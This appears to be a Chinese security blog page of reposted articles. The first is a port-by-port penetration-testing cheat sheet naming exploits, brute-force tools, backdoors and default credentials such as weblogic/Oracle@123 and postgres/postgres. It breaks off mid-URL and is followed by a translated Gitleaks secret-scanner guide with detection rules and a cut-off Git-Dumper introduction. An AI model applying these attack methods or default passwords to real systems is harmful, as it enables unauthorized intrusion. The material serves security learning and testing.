常见高危端口

常见高危端口

本文转自 blacksunny 并作补充

端口 服务 渗透测试
tcp 20,21 FTP(文件传输协议) 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)
tcp 22 SSH (安全外壳协议 ) 可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输等等
tcp 23 Telnet ( 远程终端协议) 爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令
tcp 25 SMTP(简单邮件传输协议) 邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑
tcp/udp 53 DNS(域名系统) 允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控
tcp/udp 69 TFTP (简单文件传送协议 ) 尝试下载目标及其的各类重要配置文件
tcp 80-89,443,8440-8450,8080-8089 各种常用的Web服务端口 可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏洞利用,各类Web框架漏洞利用等等……
tcp 110 POP3(邮局协议版本3 ) 可尝试爆破,嗅探
tcp 111,2049 NFS(网络文件系统) 权限配置不当
tcp 137,139,445 SMB(NETBIOS协议) 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
tcp 143 IMAP(邮件访问协议) 可尝试爆破
udp 161 SNMP(简单网络管理协议) 爆破默认团队字符串,搜集目标内网信息
tcp 389 LDAP( 轻量目录访问协议 ) ldap注入,允许匿名访问,弱口令
tcp 512,513,514 Linux rexec (远程登录) 可爆破,rlogin登陆
tcp 873 Rsync (数据镜像备份工具) 匿名访问,文件上传
tcp 1194 OpenVPN(虚拟专用通道) 想办法钓VPN账号,进内网
tcp 1352 Lotus(Lotus软件) 弱口令,信息泄漏,爆破
tcp 1433 SQL Server(数据库管理系统) 注入,提权,sa弱口令,爆破
tcp 1521 Oracle(甲骨文数据库) tns爆破,注入,弹shell…
tcp 1500 ISPmanager( 主机控制面板) 弱口令
tcp 1723 PPTP(点对点隧道协议 ) 爆破,想办法钓VPN账号,进内网
tcp 2082,2083 cPanel (虚拟机控制系统 ) 弱口令
tcp 2181 ZooKeeper(分布式系统的可靠协调系统 ) 未授权访问
tcp 2601,2604 Zebra (zebra路由) 默认密码zerbra
tcp 3128 Squid (代理缓存服务器) 弱口令
tcp 3312,3311 kangle(web服务器) 弱口令
tcp 3306 MySQL(数据库) 注入,提权,爆破
tcp 3389 Windows rdp(桌面协议) shift后门[需要03以下的系统],爆破,ms12-020
tcp 3690 SVN(开放源代码的版本控制系统) svn泄露,未授权访问
tcp 4848 GlassFish(应用服务器) 弱口令
tcp 5000 Sybase/DB2(数据库) 爆破,注入
tcp 5432 PostgreSQL(数据库) 爆破,注入,弱口令
tcp 5900,5901,5902 VNC(虚拟网络控制台,远控) 弱口令爆破
tcp 5984 CouchDB(数据库) 未授权导致的任意指令执行
tcp 6379 Redis(数据库) 可尝试未授权访问,弱口令爆破
tcp 7001,7002 WebLogic(WEB应用系统) Java反序列化,弱口令
tcp 7778 Kloxo(虚拟主机管理系统) 主机面板登录
tcp 8000 Ajenti(Linux服务器管理面板) 弱口令
tcp 8443 Plesk(虚拟主机管理面板) 弱口令
tcp 8069 Zabbix (系统网络监视) 远程执行,SQL注入
tcp 8080-8089 Jenkins,JBoss (应用服务器) 反序列化,控制台弱口令
tcp 9080-9081,9090 WebSphere(应用服务器) Java反序列化/弱口令
tcp 9200,9300 ElasticSearch (Lucene的搜索服务器) 远程执行
tcp 11211 Memcached(缓存系统) 未授权访问
tcp 27017,27018 MongoDB(数据库) 爆破,未授权访问
TCP 50000tcp 50070,50030 SAP Managenment ConsoleHadoop(分布式文件系统) 远程执行默认端口未授权访问

22端口渗透剖析

SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

1
2
3
4
(1)弱口令,可使用工具hydra,msf中的ssh爆破模块。
(2)防火墙SSH后门。(https://www.secpulse.com/archives/69093.html)
(3)28退格 OpenSSL
(4)openssh 用户枚举 CVE-2018-15473。(https://www.anquanke.com/post/id/157607)

23端口渗透剖析

telnet是一种旧的远程管理方式,使用telnet工具登录系统过程中,网络上传输的用户和密码都是以明文方式传送的,黑客可使用嗅探技术截获到此类密码。

1
2
(1)暴力破解技术是常用的技术,使用hydra,或者msf中telnet模块对其进行破解。
(2)在linux系统中一般采用SSH进行远程访问,传输的敏感数据都是经过加密的。而对于windows下的telnet来说是脆弱的,因为默认没有经过任何加密就在网络中进行传输。使用cain等嗅探工具可轻松截获远程登录密码。

25/465端口渗透剖析

smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件

1
2
3
默认端口:25(smtp)、465(smtps)
(1)爆破:弱口令
(2)未授权访问

53端口渗透剖析

53端口是DNS域名服务器的通信端口,通常用于域名解析。也是网络中非常关键的服务器之一。这类服务器容易受到攻击。对于此端口的渗透,一般有三种方式。

1
2
3
(1)使用DNS远程溢出漏洞直接对其主机进行溢出攻击,成功后可直接获得系统权限。(https://www.seebug.org/vuldb/ssvid-96718)
(2)使用DNS欺骗攻击,可对DNS域名服务器进行欺骗,如果黑客再配合网页木马进行挂马攻击,无疑是一种杀伤力很强的攻击,黑客可不费吹灰之力就控制内网的大部分主机。这也是内网渗透惯用的技法之一。(https://baijiahao.baidu.com/s?id=1577362432987749706&wfr=spider&for=pc)
(3)拒绝服务攻击,利用拒绝服务攻击可快速的导致目标服务器运行缓慢,甚至网络瘫痪。如果使用拒绝服务攻击其DNS服务器。将导致用该服务器进行域名解析的用户无法正常上网。(http://www.edu.cn/xxh/fei/zxz/201503/t20150305_1235269.shtml)(4)DNS劫持。(https://blog.csdn.net/qq_32447301/article/details/77542474)

80端口渗透剖析

80端口通常提供web服务。目前黑客对80端口的攻击典型是采用SQL注入的攻击方法,脚本渗透技术也是一项综合性极高的web渗透技术,同时脚本渗透技术对80端口也构成严重的威胁。

1
2
3
4
5
6
7
(1)对于windows2000的IIS5.0版本,黑客使用远程溢出直接对远程主机进行溢出攻击,成功后直接获得系统权限。
(2)对于windows2000中IIS5.0版本,黑客也尝试利用‘Microsoft IISCGI’文件名错误解码漏洞攻击。使用X-SCAN可直接探测到IIS漏洞。
(3)IIS写权限漏洞是由于IIS配置不当造成的安全问题,攻击者可向存在此类漏洞的服务器上传恶意代码,比如上传脚本木马扩大控制权限。
(4)普通的http封包是没有经过加密就在网络中传输的,这样就可通过嗅探类工具截取到敏感的数据。如使用Cain工具完成此类渗透。
(5)80端口的攻击,更多的是采用脚本渗透技术,利用web应用程序的漏洞进行渗透是目前很流行的攻击方式。
(6)对于渗透只开放80端口的服务器来说,难度很大。利用端口复用工具可解决此类技术难题。
(7)CC攻击效果不及DDOS效果明显,但是对于攻击一些小型web站点还是比较有用的。CC攻击可使目标站点运行缓慢,页面无法打开,有时还会爆出web程序的绝对路径。

135端口渗透剖析

135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。对于135端口的渗透,黑客的渗透方法为:

1
2
(1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https://wenku.baidu.com/view/68b3340c79563c1ec5da710a.html)
(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https://wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html)

139/445端口渗透剖析

139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。

1
2
3
4
(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。

1433端口渗透剖析

1433是SQLServer默认的端口,SQL Server服务使用两个端口:tcp-1433、UDP-1434.其中1433用于供SQLServer对外提供服务,1434用于向请求者返回SQLServer使用了哪些TCP/IP端口。1433端口通常遭到黑客的攻击,而且攻击的方式层出不穷。最严重的莫过于远程溢出漏洞了,如由于SQL注射攻击的兴起,各类数据库时刻面临着安全威胁。利用SQL注射技术对数据库进行渗透是目前比较流行的攻击方式,此类技术属于脚本渗透技术。

1
2
3
4
(1)对于开放1433端口的SQL Server2000的数据库服务器,黑客尝试使用远程溢出漏洞对主机进行溢出测试,成功后直接获得系统权限。(https://blog.csdn.net/gxj022/article/details/4593015)
(2)暴力破解技术是一项经典的技术。一般破解的对象都是SA用户。通过字典破解的方式很快破解出SA的密码。(https://blog.csdn.net/kali_linux/article/details/50499576)
(3)嗅探技术同样能嗅探到SQL Server的登录密码。
(4)由于脚本程序编写的不严密,例如,程序员对参数过滤不严等,这都会造成严重的注射漏洞。通过SQL注射可间接性的对数据库服务器进行渗透,通过调用一些存储过程执行系统命令。可以使用SQL综合利用工具完成。

1521端口渗透剖析

1521是大型数据库Oracle的默认监听端口,估计新手还对此端口比较陌生,平时大家接触的比较多的是Access,MSSQL以及MYSQL这三种数据库。一般大型站点才会部署这种比较昂贵的数据库系统。对于渗透这种比较复杂的数据库系统,黑客的思路如下:

1
2
3
(1)Oracle拥有非常多的默认用户名和密码,为了获得数据库系统的访问权限,破解数据库系统用户以及密码是黑客必须攻破的一道安全防线。
(2)SQL注射同样对Oracle十分有效,通过注射可获得数据库的敏感信息,包括管理员密码等。
(3)在注入点直接创建java,执行系统命令。(4)https://www.leiphone.com/news/201711/JjzXFp46zEPMvJod.html

2049端口渗透剖析

NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。

1
未授权访问。(https://www.freebuf.com/articles/network/159468.html) (http://www.secist.com/archives/6192.htm)

3306端口渗透剖析

3306是MYSQL数据库默认的监听端口,通常部署在中型web系统中。在国内LAMP的配置是非常流行的,对于php+mysql构架的攻击也是属于比较热门的话题。mysql数据库允许用户使用自定义函数功能,这使得黑客可编写恶意的自定义函数对服务器进行渗透,最后取得服务器最高权限。对于3306端口的渗透,黑客的方法如下:

1
2
3
(1)由于管理者安全意识淡薄,通常管理密码设置过于简单,甚至为空口令。使用破解软件很容易破解此类密码,利用破解的密码登录远程mysql数据库,上传构造的恶意UDF自定义函数代码进行注册,通过调用注册的恶意函数执行系统命令。或者向web目录导出恶意的脚本程序,以控制整个web系统。
(2)功能强大的‘cain’同样支持对3306端口的嗅探,同时嗅探也是渗透思路的一种。
(3)SQL注入同样对mysql数据库威胁巨大,不仅可以获取数据库的敏感信息,还可使用load_file()函数读取系统的敏感配置文件或者从web数据库链接文件中获得root口令等,导出恶意代码到指定路径等。

3389端口渗透剖析

3389是windows远程桌面服务默认监听的端口,管理员通过远程桌面对服务器进行维护,这给管理工作带来的极大的方便。通常此端口也是黑客们较为感兴趣的端口之一,利用它可对远程服务器进行控制,而且不需要另外安装额外的软件,实现方法比较简单。当然这也是系统合法的服务,通常是不会被杀毒软件所查杀的。使用‘输入法漏洞’进行渗透。

1
2
3
4
(1)对于windows2000的旧系统版本,使用‘输入法漏洞’进行渗透。
(2)cain是一款超级的渗透工具,同样支持对3389端口的嗅探。
(3)Shift粘滞键后门:5次shift后门
(4)社会工程学通常是最可怕的攻击技术,如果管理者的一切习惯和规律被黑客摸透的话,那么他管理的网络系统会因为他的弱点被渗透。(5)爆破3389端口。这里还是推荐使用hydra爆破工具。(6)ms12_020死亡蓝屏攻击。(https://www.cnblogs.com/R-Hacker/p/9178066.html)(7)https://www.cnblogs.com/backlion/p/9429738.html

4899端口渗透剖析

4899端口是remoteadministrator远程控制软件默认监听的端口,也就是平时常说的radmini影子。radmini目前支持TCP/IP协议,应用十分广泛,在很多服务器上都会看到该款软件的影子。对于此软件的渗透,思路如下:

1
2
(1)radmini同样存在不少弱口令的主机,通过专用扫描器可探测到此类存在漏洞的主机。
(2)radmini远控的连接密码和端口都是写入到注册表系统中的,通过使用webshell注册表读取功能可读取radmini在注册表的各项键值内容,从而破解加密的密码散列。

5432端口渗透剖析

PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。

1
2
(1)爆破:弱口令:postgres postgres
(2)缓冲区溢出:CVE-2014-2669。(http://drops.xmd5.com/static/drops/tips-6449.html)(3)远程代码执行:CVE-2018-1058。(https://www.secpulse.com/archives/69153.html)

5631端口渗透剖析

5631端口是著名远程控制软件pcanywhere的默认监听端口,同时也是世界领先的远程控制软件。利用此软件,用户可以有效管理计算机并快速解决技术支持问题。由于软件的设计缺陷,使得黑客可随意下载保存连接密码的*.cif文件,通过专用破解软件进行破解。这些操作都必须在拥有一定权限下才可完成,至少通过脚本渗透获得一个webshell。通常这些操作在黑客界被称为pcanywhere提权技术。

1
PcAnyWhere提权。(https://blog.csdn.net/Fly_hps/article/details/80377199)

5900端口渗透剖析

5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。对于该端口的渗透,思路如下:

1
2
3
(1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。
(2)cain同样支持对VNC的嗅探,同时支持端口修改。
(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。(4)VNC拒绝服务攻击(CVE-2015-5239)。(http://blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015-5239%E5%88%86%E6%9E%90.html)(5)VNC权限提升(CVE-2013-6886)。

6379端口渗透剖析

Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。

1
2
(1)爆破:弱口令
(2)未授权访问+配合ssh key提权。(http://www.alloyteam.com/2017/07/12910/)

7001/7002端口渗透剖析

7001/7002通常是weblogic中间件端口

1
2
3
4
5
(1)弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic
(2)管理后台部署 war 后门
(3)SSRF
(4)反序列化漏洞
(5)weblogic_uachttps://github.com/vulhub/vulhub/tree/master/weblogic/ssrfhttps://bbs.pediy.com/thread-224954.htmhttps://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html

8080端口渗透剖析

8080端口通常是apache_Tomcat服务器默认监听端口,apache是世界使用排名第一的web服务器。国内很多大型系统都是使用apache服务器,对于这种大型服务器的渗透,主要有以下方法:

1
2
3
4
5
6
(1)Tomcat远程代码执行漏洞(https://www.freebuf.com/column/159200.html)
(2)Tomcat任意文件上传。(http://liehu.tass.com.cn/archives/836)
(3)Tomcat远程代码执行&信息泄露。(https://paper.seebug.org/399/)
(4)Jboss远程代码执行。(http://mobile.www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html)
(5)Jboss反序列化漏洞。(https://www.zybuluo.com/websec007/note/838374)
(6)Jboss漏洞利用。(https://blog.csdn.net/u011215939/article/details/79141624)

27017端口渗透剖析

MongoDB,NoSQL数据库;攻击方法与其他数据库类似

1
2
(1)爆破:弱口令
(2)未授权访问;(http://www.cnblogs.com/LittleHann/p/6252421.html)(3)http://www.tiejiang

gitleaks 扫描git存储库文件和目录中的敏感信息

gitleaks 扫描git存储库文件和目录中的敏感信息

本文转自 雨苁 并作补充

Gitleaks简介

Gitleaks 是一款 SAST 工具,用于检测防止git repos 中的密码、API 密钥和令牌等硬编码机密。Gitleaks 是一款易于使用的一体化解决方案,用于检测代码中过去或现在的机密。

Gitleaks 是一款开源秘密扫描器,用于扫描 git 存储库、文件和目录。Gitleaks 拥有超过 1600 万次 docker 下载、1.7 万个 GitHub 星标、900 万次 GitHub 下载、每周数千次克隆和超过 70 万次自制软件安装,是安全专家、企业和开发人员最信赖的开源秘密扫描器。Gitleaks 由 Zach Rice维护。

image

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  ~/code(master) gitleaks git -v


│╲
│ ○
○ ░
░ gitleaks


Finding: "export BUNDLE_ENTERPRISE__CONTRIBSYS__COM=cafebabe:deadbeef",
Secret: cafebabe:deadbeef
RuleID: sidekiq-secret
Entropy: 2.609850
File: cmd/generate/config/rules/sidekiq.go
Line: 23
Commit: cd5226711335c68be1e720b318b7bc3135a30eb2
Author: John
Email: john@users.noreply.github.com
Date: 2022-08-03T12:31:40Z
Fingerprint: cd5226711335c68be1e720b318b7bc3135a30eb2:cmd/generate/config/rules/sidekiq.go:sidekiq-secret:23

入门

Gitleaks 可以使用 Homebrew、Docker 或 Go 安装。Gitleaks 还提供了适用于许多流行平台和操作系统类型的二进制版本,发布页面上提供。此外,Gitleaks 可以直接在您的存储库中作为预提交钩子实现,也可以使用Gitleaks-Action作为 GitHub 操作实现。

安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# MacOS
brew install gitleaks

# Docker (DockerHub)
docker pull zricethezav/gitleaks:latest
docker run -v ${path_to_host_folder_to_scan}:/path zricethezav/gitleaks:latest [命令] [选项] [源路径]

# Docker (ghcr.io)
docker pull ghcr.io/gitleaks/gitleaks:latest
docker run -v ${path_to_host_folder_to_scan}:/path ghcr.io/gitleaks/gitleaks:latest [命令] [选项] [源路径]

# 从源码安装 (确保已安装 go)
git clone https://github.com/gitleaks/gitleaks.git
cd gitleaks
make build

GitHub action

查看官方Gitleaks GitHub Action

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: gitleaks
on: [pull_request, push, workflow_dispatch]
jobs:
scan:
name: gitleaks
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE}} # Only required for Organizations, not personal accounts.

Pre-Commit

  1. 从https://pre-commit.com/#install安装 precommit
  2. .pre-commit-config.yaml在存储库的根目录创建一个包含以下内容的文件:repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.19.0 hooks: - id: gitleaks 用于本机执行 GitLeaks或使用gitleaks-docker预提交 ID通过官方 Docker 镜像执行 GitLeaks
  3. 通过执行自动更新配置到最新的版本pre-commit autoupdate
  4. 安装pre-commit install
  5. 现在您已经一切就绪!
1
2
➜ git commit -m "this commit contains a secret"
Detect hardcoded secrets.................................................Failed

注意:要禁用 gitleaks 预提交钩子,你可以SKIP=gitleaks在提交命令前面添加,这样它就会跳过运行 gitleaks

1
2
➜ SKIP=gitleaks git commit -m "skip gitleaks check"
Detect hardcoded secrets................................................Skipped

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
用法:
gitleaks [命令]

可用命令:
completion 为指定的 shell 生成自动补全脚本
dir 扫描目录或文件中的敏感信息
git 扫描 Git 仓库中的敏感信息
help 查看任意命令的帮助
stdin 从标准输入中检测敏感信息
version 显示 gitleaks 版本

选项:
-b, --baseline-path string 忽略某些问题的基准文件路径
-c, --config string 配置文件路径
优先级顺序:
1. --config/-c
2. 环境变量 GITLEAKS_CONFIG
3. (目标路径)/.gitleaks.toml
如果以上三者都未设置,gitleaks 将使用默认配置
--enable-rule strings 仅启用指定 ID 的规则
--exit-code int 检测到泄露信息时的退出代码(默认值为 1)
-i, --gitleaks-ignore-path string .gitleaksignore 文件或包含此文件的文件夹路径(默认值为 ".")
-h, --help gitleaks 帮助
--ignore-gitleaks-allow 忽略 gitleaks:allow 注释
-l, --log-level string 日志级别(trace, debug, info, warn, error, fatal)(默认 "info")
--max-decode-depth int 允许递归解码的最大深度(默认 "0",不进行解码)
--max-target-megabytes int 跳过大于该大小的文件
--no-banner 禁止显示横幅
--no-color 禁用彩色输出
--redact uint[=100] 在日志和标准输出中隐藏敏感信息。仅隐藏部分敏感信息可以设置百分比,例如 --redact=20(默认隐藏 100%)
-f, --report-format string 输出格式(json, csv, junit, sarif)(默认 "json")
-r, --report-path string 报告文件路径
-v, --verbose 显示扫描的详细输出
--version 显示 gitleaks 的版本信息

使用 "gitleaks [command] --help" 获取有关某个命令的更多信息。

命令

⚠️v8.19.0 引入了一项更改,即弃用了detectprotect。这些命令仍然可用,但隐藏在--help菜单中。查看此要点以轻松进行命令翻译。如果您发现 v8.19.0 破坏了现有命令 ( detect/ protect),请打开问题。

扫描模式有三种:gitdirstdin

Git

git命令允许您扫描本地 git 存储库。在底层,gitleaks 使用命令来扫描补丁。您可以使用选项git log -p配置的行为。例如,如果您想对一系列提交运行 gitleaks,则可以使用以下命令:。有关更多信息,请参阅git log文档。如果没有将目标指定为位置参数,则 gitleaks 将尝试将当前工作目录扫描为 git 存储库。git log -p``log-opts``gitleaks git -v --log-opts="--all commitA..commitB" path_to_repo

目录

dir(别名包括files, )命令directory允许您扫描目录和文件。例如:gitleaks dir -v path_to_directory_or_file。如果没有将目标指定为位置参数,则 gitleaks 将扫描当前工作目录。

标准输入

你也可以用以下命令将数据传输到 gitleaks stdin。例如:cat some_file | gitleaks -v stdin

创建基线

扫描大型存储库或具有较长历史的存储库时,使用基线会很方便。使用基线时,gitleaks 将忽略基线中存在的任何旧发现。基线可以是任何 gitleaks 报告。要创建 gitleaks 报告,请使用参数运行 gitleaks --report-path

1
gitleaks git --report-path gitleaks-report.json # This will save the report in a file called gitleaks-report.json

一旦创建基线,就可以在再次运行检测命令时应用它:

1
gitleaks git --baseline-path gitleaks-report.json --report-path findings.json

使用 –baseline-path 参数运行detect命令后,报告输出(findings.json)将只包含新问题。

预提交钩子

pre-commit.py您可以将示例脚本复制到目录中,以将 Gitleaks 作为预提交钩子运行.git/hooks/

配置

Gitleaks 提供了一种配置格式,您可以按照该格式编写自己的秘密检测规则:

1
# Title for the gitleaks configuration file.title = "Gitleaks title"# Extend the base (this) configuration. When you extend a configuration# the base rules take precedence over the extended rules. I.e., if there are# duplicate rules in both the base configuration and the extended configuration# the base rules will override the extended rules.# Another thing to know with extending configurations is you can chain together# multiple configuration files to a depth of 2. Allowlist arrays are appended# and can contain duplicates.# useDefault and path can NOT be used at the same time. Choose one.[extend]# useDefault will extend the base configuration with the default gitleaks config:# https://github.com/gitleaks/gitleaks/blob/master/config/gitleaks.tomluseDefault = true# or you can supply a path to a configuration. Path is relative to where gitleaks# was invoked, not the location of the base config.path = "common_config.toml"# An array of tables that contain information that define instructions# on how to detect secrets[[rules]]# Unique identifier for this ruleid = "awesome-rule-1"# Short human readable description of the rule.description = "awesome rule 1"# Golang regular expression used to detect secrets. Note Golang's regex engine# does not support lookaheads.regex = '''one-go-style-regex-for-this-rule'''# Int used to extract secret from regex match and used as the group that will have# its entropy checked if `entropy` is set.secretGroup = 3# Float representing the minimum shannon entropy a regex group must have to be considered a secret.entropy = 3.5# Golang regular expression used to match paths. This can be used as a standalone rule or it can be used# in conjunction with a valid `regex` entry.path = '''a-file-path-regex'''# Keywords are used for pre-regex check filtering. Rules that contain# keywords will perform a quick string compare check to make sure the# keyword(s) are in the content being scanned. Ideally these values should# either be part of the identiifer or unique strings specific to the rule's regex# (introduced in v8.6.0)keywords = [  "auth",  "password",  "token",]# Array of strings used for metadata and reporting purposes.tags = ["tag","another tag"]    # ⚠️ In v8.21.0 `[rules.allowlist]` was replaced with `[[rules.allowlists]]`.    # This change was backwards-compatible: instances of `[rules.allowlist]` still  work.      #    # You can define multiple allowlists for a rule to reduce false positives.    # A finding will be ignored if _ANY_ `[[rules.allowlists]]` matches.    [[rules.allowlists]]    description = "ignore commit A"    # When multiple criteria are defined the default condition is "OR".    # e.g., this can match on |commits| OR |paths| OR |stopwords|.    condition = "OR"    commits = [ "commit-A", "commit-B"]    paths = [      '''go\.mod''',      '''go\.sum'''    ]    # note: stopwords targets the extracted secret, not the entire regex match    # like 'regexes' does. (stopwords introduced in 8.8.0)    stopwords = [      '''client''',      '''endpoint''',    ]    [[rules.allowlists]]    # The "AND" condition can be used to make sure all criteria match.    # e.g., this matches if |regexes| AND |paths| are satisfied.    condition = "AND"    # note: |regexes| defaults to check the _Secret_ in the finding.    # Acceptable values for |regexTarget| are "secret" (default), "match", and "line".    regexTarget = "match"    regexes = [ '''(?i)parseur[il]''' ]    paths = [ '''package-lock\.json''' ]# You can extend a particular rule from the default config. e.g., gitlab-pat# if you have defined a custom token prefix on your GitLab instance[[rules]]id = "gitlab-pat"# all the other attributes from the default rule are inherited    [[rules.allowlists]]    regexTarget = "line"    regexes = [ '''MY-glpat-''' ]# This is a global allowlist which has a higher order of precedence than rule-specific allowlists.# If a commit listed in the `commits` field below is encountered then that commit will be skipped and no# secrets will be detected for said commit. The same logic applies for regexes and paths.[allowlist]description = "global allow list"commits = [ "commit-A", "commit-B", "commit-C"]paths = [  '''gitleaks\.toml''',  '''(.*?)(jpg|gif|doc)''']# note: (global) regexTarget defaults to check the _Secret_ in the finding.# if regexTarget is not specified then _Secret_ will be used.# Acceptable values for regexTarget are "match" and "line"regexTarget = "match"regexes = [  '''219-09-9999''',  '''078-05-1120''',  '''(9[0-9]{2}|666)-\d{2}-\d{4}''',]# note: stopwords targets the extracted secret, not the entire regex match# like 'regexes' does. (stopwords introduced in 8.8.0)stopwords = [  '''client''',  '''endpoint''',]

请参阅默认gitleaks 配置以获取示例,或者如果您希望为默认配置做出贡献,请遵循贡献指南。此外,您还可以查看这篇涵盖高级配置设置的gitleaks 博客文章。

附加配置

gitleaks:允许

如果你故意提交 gitleaks 会捕获的测试机密,你可以gitleaks:allow在该行中添加注释,指示 gitleaks 忽略该机密。例如:

1
2
class CustomClass:
discord_client_secret = '8dyfuiRyq=vVc3RRr_edRk-fK__JItpZ' #gitleaks:allow

.gitleaksignore

.gitleaksignore您可以通过在存储库根目录下创建一个文件来忽略特定发现。在版本 v8.10.0 中,GitleaksFingerprint为 Gitleaks 报告添加了一个值。每个泄漏或发现都有一个指纹,可以唯一地标识一个秘密。将此指纹添加到.gitleaksignore文件中以忽略该特定秘密。有关示例,请参阅 Gitleaks 的.gitleaksignore。注意:此功能是实验性的,将来可能会发生变化。

解码

有时秘密的编码方式使得仅使用正则表达式很难找到它们。现在您可以告诉 gitleaks 自动查找和解码编码文本。该标志--max-decode-depth启用此功能(默认值“0”表示默认情况下禁用该功能)。

由于解码的文本也可以包含编码的文本,因此支持递归解码。该标志--max-decode-depth设置递归限制。当没有新的编码文本段需要解码时,递归将停止,因此设置非常高的最大深度并不意味着它会进行那么多遍。它只会进行解码文本所需的次数。总体而言,解码只会稍微增加扫描时间。

编码文本的发现与正常发现有以下不同:

  • 该位置指向编码文本的边界
    • 如果规则在编码文本之外匹配,则边界也会调整以包括该文本
  • 匹配和秘密包含解码的值
  • 添加了两个标签decoded:<encoding>decode-depth:<depth>

目前支持的编码:

  • base64(标准和 base64url)

项目地址

GitHub:
https://github.com/gitleaks/gitleaks

如何使用Git-Dumper从站点中导出一个Git库

如何使用Git-Dumper从站点中导出一个Git库

本文转自 Alpha_h4ck 并作补充

关于Git-Dumper

Git-Dumper是一款功能强大的代码导出工具,在该工具的帮助下,广大研究人员可以轻松从一个网站中导出目标Git库,并存储到本地设备中进行分析和研究。

工具运行机制

该工具首先会检测提供的目录列表是否可用,如果可用,该工具将会以递归的方式下载目标站点中所有的.git目录(该功能与使用wget效果相同)。

如果目录列表不可用,那么该工具将使用多种方法来尽可能地查找更多的文件,具体操作步骤如下:

1、获取所有的常见文件,例如.gitignore、.git/HEAD和.git/index等;

2、通过分析.git/HEAD、.git/logs/HEAD、.git/config和.git/packed-refs等文件来查找尽可能多的refs,例如refs/heads/master和refs/remotes/origin/HEAD;

